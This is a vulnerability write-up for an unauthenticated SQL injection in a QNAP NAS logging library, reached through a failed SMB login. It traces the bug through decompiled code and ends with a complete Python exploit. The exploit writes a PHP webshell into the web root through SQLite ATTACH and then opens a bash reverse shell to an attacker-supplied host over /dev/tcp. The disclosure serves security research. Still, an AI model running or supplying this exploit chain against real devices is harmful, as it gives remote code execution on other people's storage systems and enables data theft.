CVE Score (3.1): 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-89: SQL Injection
General Description
The vulnerability lies in naslog_conn_add2
part of the
legacy logging of /usr/lib/libuLinux_naslog.so
. To reach
that we perform an SMB authentication attempt, which upon failure calls
write_connlog_login_deny_smb1
. That as explained later
leads to an SQL injection that we then use to achieve RCE on the
target.
Vulnerability details
The library
./mnt/ext/opt/samba/lib/private/libauth-samba4.so
is
responsible to manage SMB’s authentication. Reachable over a remote
device in the same network, or fully remotely if the SMB is exposed /
port forwarded over the internet.
Upon an unsuccessfull login attempt over SMB the device calls
write_connlog_login_deny_smb1
which in turn calls
sub_A720
.
// NOTE: The decompilation output has been edited for abbreviation purposes
(unsigned int a1, _BYTE *a2, const char *a3, const char *a4, __int64 a5, const char *a6)
_int64 __fastcall sub_A720{
//...
= "/usr/local/samba/sbin/log_ratelimit.sh";
v8 if ( (_DWORD)a5 != 9 )
= "/sbin/conn_log_tool";
v8 (v10, 0x800uLL, "%s -t %d -u '%s' -p '%s' -m '%s' -i %d -n %d -a '%s' -S", v8, a1, v7, a3, v6, 1LL, a5, a6);
snprintf((__int64)v10, 0LL, 0LL); // [1]
smbrun//...
Which in turn calls smbrun
as shown in callsite
[1]
. With the buffer of which we control the
-u '%s'
string format identifer. This gives us the ability
to execute the log_ratelimit.sh
with arbitrary
arguments.
#!/bin/sh
#...
argv="$@" # all arguments. # [1]
#...
# Parse arguments and get client info.
POSITIONAL_ARGS=()
while [[ $# -gt 0 ]]; do
case $1 in
#...
-u)
# If username's prefix contains domain as '<DOMAIN>\<USER>',
# replace backslash as semicolon, as '<DOMAIN>:<USER>' for valid grep.
username=`echo "$2" | sed 's/\\\\/:/g' 2>/dev/null`
shift # past argument
shift # past value
;;
#...
esac
done
#...
# Send to Qulog. Insert a record for lookup. Run in background to avoid blocking parent.
(/sbin/conn_log_tool $argv && CMD="${keyword}" sleep "${ratelimit_sec}") & # [2]
ret="$?"
exit "${ret}"
This consequently allows us to execute the conn_log_tool
(which is a symlink to log_tool
) with controlled arguments
as shown in callsite [2]
. Which internally calls
naslog_conn_add2
, which is part of QNAP’s legacy API. As
shown bellow in in the callsite [1]
.
// NOTE: The decompilation output has been edited for abbreviation purposes
(int argc, char **argv)
_int64 __fastcall main{
//...
= 0LL;
qword_60B8D0 (qword_60B8D8) = 0;
LODWORDif ( argc <= 1 )
{
(*argv);
sub_4031F0return 0LL;
}
while ( 2 )
{
= getopt_long(argc, argv, "b:hcrfya:Sqt:l:u:r:s:e:vp:m:o:i:n:g:A:R:", &stru_408A40, 0LL);
v2 switch ( v2 )
{
case '\0':
= optarg;
qword_60B8C0 //...
if ( (_DWORD)qword_60B8A8 != 1 )
{
if ( dword_60B84C == 1 )
{
(v5, 0, 0x7D8uLL);
memset[1] = (int)qword_60B860;
v5if ( src )
((char *)&v5[16], src, 0x40uLL);
strncpyif ( qword_60B870 )
((char *)&v5[32] + 1, qword_60B870, 0x40uLL);
strncpyif ( qword_60B878 )
((char *)&v5[48] + 2, qword_60B878, 0x40uLL);
strncpyif ( qword_60B8C0 )
((char *)&v5[389], qword_60B8C0, 0x40uLL);
strncpyif ( qword_60B8C8 )
((char *)&v5[405] + 1, qword_60B8C8, 0x80uLL);
strncpyif ( qword_60B8D0 )
((char *)&v5[437] + 2, qword_60B8D0, 0xFFuLL);
strncpy((char *)&v5[64] + 3, qword_60B858, 0x400uLL);
strncpy[321] = dword_60B880;
v5[322] = dword_60B884;
v5[388] = (int)qword_60B8B8;
v5if ( qword_60B8B0 )
((char *)&v5[323], qword_60B8B0, 0x100uLL);
strncpyif ( dword_60B89C )
("Appending a log to database...");
putsif ( (_DWORD)qword_60B850 == 1 )
= SendConnToLogEngineEx4(
tbl (unsigned int)v5[1],
&v5[16],
&v5[323],
(char *)&v5[32] + 1,
(char *)&v5[48] + 2,
(unsigned int)v5[321],
(unsigned int)v5[322],
(unsigned int)v5[388],
&v5[389],
(char *)&v5[405] + 1,
(char *)&v5[437] + 2,
(char *)&v5[64] + 3);
else
= naslog_conn_add2(v5); [1]
tbl goto LABEL_14;
Finally this calls into the
/usr/lib/libuLinux_naslog.so
’s
naslog_conn_add2
which suffers from an SQL injection as
shown bellow.
// NOTE: The decompilation output has been edited for abbreviation purposes
(void *a1)
__int64 __fastcall naslog_conn_add2{
//...
= a1 + 64;
v1 if ( strlen(a1 + 64) > 0x40 )
//...
= *((unsigned int *)a1 + 388);
v13 [v9] = 0;
v69= sqlite3_mprintf(
v14 "INSERT INTO NASLOG_CONN \t( conn_type, conn_user, conn_ip, conn_comp, conn_res, conn_serv, conn_action, conn_a"
"pp, conn_action_result, conn_client_id, conn_client_app, conn_client_agent ) \tVALUES \t( %d, '%s', '%s', '%s'"
", '%s', %d, %d, '%s', %d, %Q, %Q, %Q);",
*((unsigned int *)a1 + 1),
,
v1+ 129,
a1 ,
v59,
v69*((unsigned int *)a1 + 321),
*((unsigned int *)a1 + 322),
,
v61,
v13,
v63,
v60,
v60); v62
This gives us the ability to inject a PHP webshell to the database.
In order to trigger the execution of the webshell we request it
from smb.SMBConnection import SMBConnection
import requests, os, uuid, threading, time
shell_name = f"shell_{str(uuid.uuid4())}.php"
def run_sql(ip,sql):
sql = sql.replace(" ","/**/")
conn = SMBConnection(f"""x' -u xx -A "haha','1','2','3','4');{sql};--" -a abc -- x -- '""", 'blah', "g", 'g', use_ntlm_v2 = True)
conn.connect(ip, 139)
def shell():
os.system("ncat -lvp 1337")
r = requests.get(f"http://{target_ip}:8080/nc/{shell_name}",params={"0":f"rm -f /mnt/ext/opt/NotificationCenter/opt/www/{shell_name}"})
if __name__ == "__main__":
if len(os.sys.argv) != 3:
print("<exp> {target_ip} {host_ip}")
exit(0)
target_ip = os.sys.argv[1]
host_ip = os.sys.argv[2]
try:
print("Running SQLI to File Write")
run_sql(target_ip,f"ATTACH DATABASE '/mnt/ext/opt/NotificationCenter/opt/www/{shell_name}' AS q;CREATE TABLE q.x (x text);INSERT INTO q.x (x) VALUES('<?=system($_GET[0]);?>')")
except:
print("SMB Connection didn't work :(")
requests.get(f"http://{target_ip}:8080/nc/{shell_name}?cache_bust")
print("Spawning Rev Shell")
t = threading.Thread(target=shell)
t.start()
rev = f"bash -i >& /dev/tcp/{host_ip}/1337 0>&1"
time.sleep(1)
r = requests.get(f"http://{target_ip}:8080/nc/{shell_name}",params={"0":rev})